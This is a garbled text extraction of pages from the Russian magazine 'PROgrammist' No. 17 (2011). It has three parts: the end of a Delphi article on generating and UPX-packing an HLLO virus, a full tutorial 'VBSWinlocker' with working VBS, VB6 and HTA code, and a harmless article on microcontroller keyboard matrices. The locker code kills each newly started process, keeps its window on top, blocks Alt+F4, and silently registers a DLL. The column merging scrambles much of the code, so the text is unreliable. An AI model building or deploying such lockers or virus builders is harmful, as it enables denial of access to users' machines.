(**********************************) Application.ProcessMessages; assignfile(t,'BIN\compil1.bat'); rewrite(t); writeln(t,'@DCC32.EXE HLLO.dpr'); writeln(t,'@UPX HLLO.exe'); writeln(t,'@del ..\HLLO.exe'); writeln(t,'@del compil1.bat'); close(t); WinExecAndWait32(ExtractFilePath(paramstr(0))+ 'BIN\compil1.bat');

Pchar(ExtractFilePath(FileName)), StartupInfo, ProcessInfo) then Result := -1 else begin WaitforSingleObject(ProcessInfo.hProcess,INFINITE); GetExitCodeProcess(ProcessInfo.hProcess,Resultado); Result := Resultado; end; end;

(*Процедура компиляции исходника*) Procedure VirusGen; var t : textfile; sr : TSearchRec; VS : integer;

(**********************************) (*1. Поиск файла вируса

*)

(*2. Определение размера вируса

*)

(*3. Получение строки размера

*)

(*4. Поиск в исходнике строки Vir *) (**********************************) findfirst('BIN\HLLO.exe',$3f,sr); VS:=sr.Size; st:=IntToHex(VS,4); Buf[1]:=st[1]; Buf[2]:=st[2]; Buf[3]:=st[3]; Buf[4]:=st[4]; AssignFile(fch,'BIN\HLLO.dpr'); reset(fch);

47


ПРО

№17 (октябрь) 2011

граммист

ЛАБОРАТОРИЯ for j:=0 to filesize(fch) do

writeln(t,'@DCC32.EXE HLLO.dpr');

begin

writeln(t,'@UPX HLLO.exe');

read(fch,ch);

writeln(t,'@del HLLO.dpr');

if ch='V' then

writeln(t,'@del compil2.bat');

begin

close(t);

read(fch,ch);

WinExecAndWait32(ExtractFilePath(paramstr(0))+

if ch='i' then

'BIN\compil2.bat');

begin

MoveFile('BIN\HLLO.EXE','HLLO.EXE');

read(fch,ch);

end;

if ch='r' then break;

В комментариях к исходникам все подробно

end;

разъяснено. Хочу лишь остановиться на том,

end;

что если в вашей программе нет необходимос-

end;

ти подбирать значение константы, определя-

close(fch);

(**********************************) (*1. Перезапись в исходники строки*) (*размера с $FFFF на реальное

*)

(*значение размера вируса

*)

(**********************************) AssignFile(f,'BIN\HLLO.dpr');

st : string;

closefile(f);

j : integer;

(**********************************) *)

(*2. Запуск ВАТ-ника с ожидаением *) (*3. Удаление вируса полученного

*)

(*при первой компиляции

*)

(*4. Компиляция исходника

*)

(*5. Упаковка программы

*)

(*6. Удаление исходника

*)

(*7. Самоудаление ВАТ-ника

*)

(*8. Перенос файла из каталога BIN*) *)

(**********************************)

rewrite(t); writeln(t,'@del HLLO.exe');

Procedure VirusGen; var

VS : integer;

blockwrite(f,Buf,4);

assignfile(t,'BIN\compil2.bat');

(*Процедура компиляции исходника*)

sr : TSearchRec;

seek(f,j+13);

(*в текущий с программой каталог

ние:

t : textfile;

reset(f,1);

(*1. Создание ВАТ-ник

ющей размер конечного файла, то можно ис-

пользовать значительно более простое реше-

f : file; fch : file of char; Buf : array [1..4] of char; ch : char; begin (**********************************) (*1. Создание ВАТ-ник

*)

(*2. Запуск ВАТ-ника с ожидаением *) (*3. Компиляция исходника

*)

(*4. Упаковка программы

*)

(*5. Удаление прошлого вируса

*)

(*6. Самоудаление ВАТ-ника

*)

(**********************************) Application.ProcessMessages;

assignfile(t,'BIN\compil1.bat'); rewrite(t);

48


ПРО

№17 (октябрь) 2011

граммист

ЛАБОРАТОРИЯ writeln(t,'@DCC32.EXE HLLO.dpr');

D1: LongWord;

writeln(t,'@UPX HLLO.exe');

D2: Word;

writeln(t,'@del ..\HLLO.exe');

D3: Word;

writeln(t,'@del compil1.bat');

D4: array [0..7] of Byte;

close(t);

end;

WinExec(PChar(ExtractFilePath(paramstr(0))+ 'BIN\compil1.bat'),SW_HIDE);

PInitContext = ^TInitContext;

Sleep(500);

TInitContext = record

MoveFile('BIN\HLLO.EXE','HLLO.EXE');

OuterContext: PInitContext;

end;

ExcFrame: Pointer; InitTable: pointer;

Заключение Для

работы

InitCount: Integer;

программы

в

каталоге

с

приложением должен находиться каталог BIN

в

котором

должны

следующие файлы:

быть

размещены

1) DCC32.EXE – компилятор Delphi 7;

Module: pointer; DLLSaveEBP: Pointer; DLLSaveEBX: Pointer; DLLSaveESI: Pointer; DLLSaveEDI: Pointer; ExitProcessTLS: procedure; DLLInitState: Byte;

2) UPX.EXE – любая версия упаковщика испол-

end;

3) SYSTEM.PAS;

implementation

нительных файлов UPX;

4) SYSTEM.DCU;

5) SYSINIT.PAS; 6) SYSINIT.DCU.

Модули System и SysInit из стандартной поставки Delphi 7 не годятся, поэтому необходи-

мо либо использовать те, которые имеются в

архиве, прикрепленному к статье, либо сде-

лать свои следующим образом. Создайте текс-

товые файлы со следующими названиями:

SYSTEM.PAS, SYSINIT.PAS и COMPIL.BAT эти файлы должны иметь следующее содержание:

SYSTEM.PAS unit System; interface

procedure _HandleFinally; asm end; end.

SYSINIT.PAS unit SysInit; interface procedure _InitExe; procedure _halt0; var ModuleIsLib

: Boolean;

TlsIndex

: Integer = -1;

TlsLast

: Byte;

const PtrToNil

: Pointer = nil;

procedure _HandleFinally; type TGUID = record

implementation procedure _InitExe;

49


ПРО

№17 (октябрь) 2011

граммист

ЛАБОРАТОРИЯ asm

@DCC32 -Q system.pas sysinit.pas -M -Y -Z -$D- -O

end;

@DEL compil.bat

procedure ExitProcess(uExitCode: INTEGER); stdcall; external 'kernel32.dll' name 'ExitProcess'; procedure _halt0; begin ExitProcess(0); end; end.

Создадим батник COMPIL.BAT со следующим содержимым:

Размещаем все три файла в одну папку с DCC32.exe и запускаем файл compil.bat. Пос-

ле запуска файл compil.bat удаляется и появ-

ляется два файла: system.dcu и sysinit.dcu.

Желаю всем удачи и советую не использовать

во вредительских целях материал, предста-

вленный в данной статье.

50


ПРО

№17 (октябрь) 2011

граммист

Анатолий Демидович

http://da440dil.narod.ru

ЛАБОРАТОРИЯ

VBSWINLOCKER. ПИШЕМ ШУТОЧНЫЙ WINLOCKER НА VBS В этой статье я расскажу, как написать простенький локер, что называется, на коленке. Наш локер будет состоять из 3-х файлов: VBS-скрипта для убийства процессов, библиотеки для установки позиции окна HTML-приложения поверх всех окон и HTMLприложения для растяжки во весь экран. Ready - Steady - Go...

Продолжаем. Зачем нам понадобилось

писать библиотеку?

Из VBS получить дескриптор окна не реально, а

он

нам

очень

нужен

для

того,

чтобы

установить позицию окна поверх всех окон,

поэтому создадим так называемый Wrapper библиотеку,

которая

использовать

простенький код:

FindWindow() из библиотеки user32.dll, для

Я

использую

Notepad++.

Пишем

получения

хэндла

из

скрипта.

нам

Начнем с «киллера» процессов. Открываем

блокнот.

API-функции

поможет

используем

Для

функцию

установки позиции окна поверх всех - функцию

SetWindowPos(), а для запрета использования

Dim objWMI, colMonitoredProcesses, objLatestProcess

клавиатурного сочетания Alt+F4 - функцию

Set objWMI = GetObject("winmgmts:\\.\Root\CIMV2")

RegisterHotKey() из той же библиотеки.

Set colMonitoredProcesses = objWMI.ExecNotificationQuery("SELECT * FROM

Открываем IDE VB6 и создаем проект ActiveX

__InstanceCreationEvent " _

DLL.

& "WITHIN 1 WHERE TargetInstance ISA 'Win32_Process'")

Называем

проект

WinLocker,

WLClass, пишем несложный код:

Do Set objLatestProcess = colMonitoredProcesses.NextEvent

класс

-

Option Explicit

objLatestProcess.TargetInstance.Terminate()

'API-функция получения дескриптора окна

Loop Set objLatestProcess = Nothing

Private Declare Function FindWindow Lib "user32" Alias

Set colMonitoredProcesses = Nothing

"FindWindowA" (ByVal lpszClassName As String, ByVal lpszWindow

И сохраняем в файл с расширением VBS.

Данный скрипт каждую секунду мониторит появление

процессов

и

убивает

свежие.

Можете попробовать* запустить. После запуска скрипта

запустить

дистпетчер

задач

не

получится. Становится сразу понятно для чего

он нам нужен.

* Предварительно рекомендую запустить диспетчер задач, для того, чтобы благополучно убить процесс wscript.exe / Автор.

As String) As Long 'API-функция установки позиции окна Private Declare Function SetWindowPos Lib "user32" (ByVal hWnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, _ ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long 'API-функция определения горячих кнопок Private Declare Function RegisterHotKey Lib "user32" (ByVal hWnd As Long, ByVal id As Long, ByVal fsModifiers As Long, _

51


ПРО

№17 (октябрь) 2011

граммист

ЛАБОРАТОРИЯ left: 42%;

ByVal vk As Long) As Long

top: 48%;

'получаем дескриптор Public Function GetHandle(ByVal strCaption As String) As Long GetHandle = FindWindow(vbNullString, strCaption)

} .button{

End Function

font: bold;

'устанавливаем окно поверх всех

color:#fff; background-color:000055;

Public Sub SetTop(ByVal strCaption As String) SetWindowPos FindWindow(vbNullString, strCaption), -1, 0, 0, 0, 0, 3 End Sub

} </style> </head>

'запрещаем использование Alt+F4

<script language="VBScript">

Public Sub DenyAltF4(ByVal strCaption As String)

'библиотека

RegisterHotKey FindWindow(vbNullString, strCaption), 99, 1, &H73 End Sub

Комплируем DLL-ку. Все, библиотека готова к

использованию.

Завершаем. Пишем HTA Открываем блокнот. Пишем код: <html> <head>

Const strDll = "WinLocker.dll" 'киллер процессов Const strWLProsMon = "WLProcKiller.vbs" 'код разблокировки Const strInputVal = "12345" 'процедура изменения размера главного окна при загрузке Sub Window_OnLoad() Window.MoveTo 0, 0 Window.ResizeTo screen.availWidth, screen.availHeight 'чтобы при любом раскладе загрузился интерфейс Window.setTimeout "SetTopPos",1, "vbscript" End Sub

<title>VBSWinlocker</title> <HTA:APPLICATION ID="VBSWinlocker"

Sub SetTopPos() Set wshShell = CreateObject("WScript.Shell")

APPLICATIONNAME="VBSWinlocker"

'пытаемся зарегистрировать библиотеку

SINGLEINSTANCE="yes"

ret = wshShell.Run("regsvr32.exe /i /s

showInTaskbar ="no"

",0,True")

BORDER="none"

'проверяем успех регистрации

SCROLL="no"

If ret <> 0 Then

Version = "1.0"

" & strDll &

'если не удалось зарегистрировать wshShell.PopUp ,1,"Не удалось зарегистрировать библиотеку

/> <style type="text/css"> body { color:#fff; font: bold sans-serif; } #center{ position: absolute;

" & strDll ,16 Set wshShell = Nothing Window.Close End If 'запускаем киллера процессов ret = wshShell.Run("wscript.exe " & strWLProsMon) 'проверяем успех запуска киллера

52


ПРО

№17 (октябрь) 2011

граммист

ЛАБОРАТОРИЯ If ret <> 0 Then

</script>

'если не удалось запустить скрипт мониторинга wshShell.PopUp ,1,"Не удалось запустить " & strWLProsMon,16 Set wshShell = Nothing Window.Close End If

<!-- Рисуем нарядную градиентную заливку :) --> <body STYLE="filter:progid:DXImageTransform.Microsoft.Gradient (GradientType=1, StartColorStr='#000066', EndColorStr='#0000FF')"> <div id="center">

Set wshShell = Nothing

<input type="password" id="txtPW">

'создаем экземпляр класса из либы = strDll

<input type="button" class="button" value="ввод"

Set objDASetTop = CreateObject("WinLocker.WLClass") 'делаем окно поверх всех окон objDASetTop.SetTop document.title

onclick="CheckInputVal"> Код: 12345 </div>

'запрещаем нажатие Alt+F4

</body>

objDASetTop.DenyAltF4 document.title

</html>

'удаляем ссылку Set objDASetTop = Nothing End Sub 'останавливаем киллера процессов Sub StopMon() Dim objWMI, colProcess, objProcess Set objWMI = GetObject("winmgmts:\\.\Root\CIMV2") 'ищем процесс мониторинга Set colProcess = objWMI.ExecQuery("Select * from Win32_Process Where Name ='wscript.exe' And CommandLine Like '%" & strWLProsMon & "%'") 'побежали по полученным процессам For Each objProcess in colProcess 'убиваем процесс objProcess.Terminate Next Set objWMI = Nothing

Нетрудно догадаться, что: • SINGLEINSTANCE="yes" – запрещает одновременный запуск одноименных HTA;

• showInTaskbar="no"

запрещает

жение приложения в панели задач;

• BORDER="none" приложения;

убирает

отобра-

границу

окна

• SCROLL="no" – убирает скролл. Сохраняем файл с расширением HTA. Наш

локер готов. Что получилось смотрим в архиве

с журналом.

Заключение Не пытайтесь «допиливать» полученый код с

End Sub

целью

'проверка значения

статьи отправляйте на e-mail: da440dil@ya.ru.

Sub CheckInputVal()

противозаконного

использования.

Пожалуйста, Ваши замечания по содержанию

If txtPW.Value = strInputVal Then 'останавливаем мониторинг процессов StopMon 'закрываем приложение Window.Close End If End Sub

53


ПРО

№17 (октябрь) 2011

граммист

Владимир Яковлев

http://avrall.com.ua

ЛАБОРАТОРИЯ

ПРАКТИКА ПОДКЛЮЧЕНИЯ КЛАВИАТУРЫ К МИКРОКОНТРОЛЛЕРУ

Бывают моменты, когда нужно большое количество клавиш, а портов у МК не так уж много, да и использовать отдельный МК для клавиатуры нет возможности либо желания. Да и клавиатура ПК с PS/2 слишком избыточна для проекта. Вариант использования клавиатуры от ПК с интерфейсом PS/2, хорош в тех случаях, когда клавиатура свободно вписывается в будущее устройство, или когда эта клавиатура может быть отсоединена (т.е. настроили устройство и отсоединили клавиатуру до следующей конфигурации). Можно вытащить контроллер клавиатуры, составить таблицу коммутаций его выводов и уже к нему непосредственно подключать нужные кнопки. Краткий экскурс... Существует несколько вариантов подключения клавиатуры, кнопки

от

через

банального

подключения

подтягивающий

резистор,

которая коммутируется на землю (см. рисунок 1),

до

использования

аналого-цифрового

преобразователя* (АЦП) МК и подключения на опрашиваемые кнопки резистивных делителей (см. рисунок 2).

За

основу

я

взял

матричную

клавиатуру.

Принцип работы прост (см. рисунок 3).

Рис. 1. Клавиатура на 3 кнопки с

подтягивающими (pull up) резисторами

Клавиатура представляется в виде матрицы

связей: в строках матрицы – входы, столбцы – выходы. Кружочки в решетке на схеме – это

кнопки. На одном из выходов устанавливается логический

ноль,

остальные

единицы.

И

проверяются входы. Если на каком-то входе

появится

логический

ноль,

значит

нажата

клавиша на пересечении этого входа с выходом

выставленным в ноль. Затем устанавливается следующий выход в ноль, остальные в единицы

и заново проверяются входа и т.д. Увеличить количество применив

в

опрашиваемых качестве

регистр 74HC595.

клавиш

выходов

можно,

сдвиговый

* Для упрощенного варианта с АЦП хватит и одного входа / Автор

Рис. 2. Клавиатура 4x3 с использованием АЦП Варианты управления и считывания Для управления регистром обычно используют

54


ПРО

№17 (октябрь) 2011

граммист

ЛАБОРАТОРИЯ байтов со сдвинутым нулем. Если же самому

тактировать

сдвиг

один

и

(shift),

то

нужно

будет

только после каждого опроса входов – посылать такт

соответственно

значения ноль

будут

будет

сдвигаться,

сдвигаться,

при

этом на входе должна быть единица. В таком

случае

можно

задействовать

и

вывод

плюсом

данной

каскадирования для наращивания регистров Q7′

(9-я

ножка).

Большим

реализации является наращиваемость коли-

чества клавиш, за счет добавления регистров, тогда

вход

А

(14-я

ножка)

следующей

микросхемы регистра соединяется с Q7′ (9-я ножка) выводом предыдущего (см. рисунок 5).

Несложно

SPI

интерфейс

МК.

что

количество

возможных клавиш является произведением

Рис. 3. Матричная клавиатура 3х3 аппаратный

подсчитать,

Схема

подключения регистра изображена ниже на рисунке 4:

количества строк на количество столбцов MxN.

Таким образом, используя 5 входов порта как

строки и 3 вывода для управления регистром

(8-столбцов) мы получим 40 клавиш.

Рис. 4. Подключение регистра* 74HC595 к порту SPI МК

Таким образом, выставив выводы МК как вход и подтянув их внутренними резисторами к +5В,

нужно подавать на регистр значения байта 0b11111110,

0b11111101,

т.е.

вательность с «бегающим нулем». Однако

если

завязать

регистр

последоне

на

аппаратный SPI, а самому тактировать сдвиг

значений, то так будет намного проще. Поясню,

SPI передает байт и выдавать нужно набор

* В регистре вход А обозначен согласно скачанной техдокументации (datasheet), данный вывод обычно обозначают как In (Input) / Автор.

Рис. 5. Подключение выводов регистра к МК

55


ПРО

№17 (октябрь) 2011

граммист

ЛАБОРАТОРИЯ

Рис. 6. Минимальный вариант использования ножек МК для опроса клавиатуры Минимальное

количество

ножек,

которыми

где: M – количество входов МК для опроса

повесить на землю вход защелки (Latch, 12-я

добавлен, если использовать еще выход Q7′

можно обойтись – это 3, при этом можно

кнопок, R – количество корпусов регистров, +1

ножка). Тогда все значения, выдаваемые на

наращивания последнего регистра.

на выходах регистра. В таком случае можно

Защита от КЗ

Микросхема 74HC164 также является сдви-

Несложно заметить, что замкнув несколько

вход и сдвигаемые – будут сразу присутствовать

заменить микросхему 74HC595 на 74HC164.

говым регистром [1], но без третьего состояния на выходах (cм. рисунок 6).

Таким образом, используя всего три вывода МК, один вход и два управления регистром, мы

кнопок на одной линии, мы можем замкнуть вывод с логическим уровнем «1» на землю, т.е.

ноль. Для защиты регистра можно поставить на каждом выходе по диоду (см. рисунок 7):

можем опросить до 8 кнопок, а задействовав вывод

для

наращивания

числа

регистров,

можем опросить 9 кнопок (при использовании

одного регистра). Наращивая же количество

регистров, увеличиваем соответственно коли-

чество опрашиваемых кнопок. Максимальное

значение

подсчитать по формуле 1:

кнопок

Key=(Mх8R)+1; (1)

можно Рис. 7. Защита входов регистра диодами

56


ПРО

№17 (октябрь) 2011

граммист

ЛАБОРАТОРИЯ Защита от дребезга

нажатии состояние кнопки может быть опреде-

Существует также не очень приятный эффект

было многократное нажатие кнопки и среаги-

контактов.

программ нажатия клавиш).

при коммутировании кнопок – эффект дребезга Суть

нажатии

на

импульсов

эффекта

кнопку,

в

том,

что

формируется

(многократное

при

пачка

неконтролируемое

замыкание и размыкание контактов в момент

переключения).

Это

происходит

из-за

механического резонанса в течение времени до

40...100 мс (см. рисунок 8):

лено неправильно и МК может посчитать, что

ровать на это (выполнив подряд несколько под-

Постскриптум Надеюсь, данная статья поможет вам сэконо-

мить несколько пинов вашего МК. Для тех же

кому и 3-х пинов жалко, а с АЦП неохота иметь дело – есть прекрасная альтернатива однопро-

водной клавиатуры – инфракрасный (ИК) порт.

Клавиатурой в этом случае является ИК-пульт дистанционного управления (ПДУ). И удачи в ваших разработках.

Ресурсы 1. Интернет-ресурс. Подключение клавиатуры

к МК по трем проводам на сдвиговых регист-

Рис. 8. Эффект дребезга контактов Вариантов

устранения

несколько:

данного

аппаратный,

рах (от 3.01.2011) http://easyelectronics.ru/

эффекта

программный

(для

МК). При аппаратном устранении дребезга используют различные схемы подавления [2,

3]. Самый простой вариант – параллельно

кнопке ставят конденсатор емкостью порядка 0.1

мкФ.

дребезга

времени,

При

программном

необходимо

больший

чем

переждать интервал

подавлении

интервал

состояния

podklyuchenie-klaviatury-k-mk-po-tremprovodam-na-sdvigovyx-registrax.html

2. Бирюков

С.

А.

Применение

цифровых

микросхем серии ТТЛ и КМОП. – ДМК-

Пресс, Москва, 2000

3. Интернет-ресурс.

Немного

о

дребезге

контактов (от 03.09.2010) http://controllersystems.com/vse-o-microcontrollerah/ustroist-

va-na-microcontrollerah/drebezgkontaktov.html

дребезга (более 100 мс). Только после этого

состояние кнопки станет однозначным, либо в

логическом «0» либо в «1». Чем грозит эффект

дребезга для работы МК при быстром опросе

состояния кнопки? Когда происходит дребезг,

МК может программно попасть в момент когда кнопка нажата и обработать подпрограмму при

нажатии данной кнопки, далее опять считать значение и определить, что кнопка отжата,

затем следующий опрос кнопки даст состояние

повторного

нажатия.

Т.е.

при

однократном

57


ПРО

№17 (октябрь) 2011

граммист

ДЛЯ ЗАМЕТОК 1. http://forum.procoder.info/index.php/topic,39.0.html – Объявления редакции журнала. Новости. Анонсы будущих выпусков.

2. http://forum.procoder.info/index.php/topic,1191.0.html – RSS лента журнала и

форума.

3. http://forum.procoder.info/index.php/topic,136.0.html – Авторам. Тематика

будущих статей.

4. http://forum.procoder.info/index.php/board,2.0.html – Обсуждение статей журнала.

5. http://forum.procoder.info/index.php/board,22.0.html – Наша IT-мастерская.

Статьи по собственным разработкам наших авторов.

6. http://procoder.info/index.php/dl/issues – Раздел загрузки журналов. 7. http://procoder.info/index.php/home/about/donate – Финансовая помощь ресурсу.

58

PROgrammist, №17  

Official editorial layout

Advertisement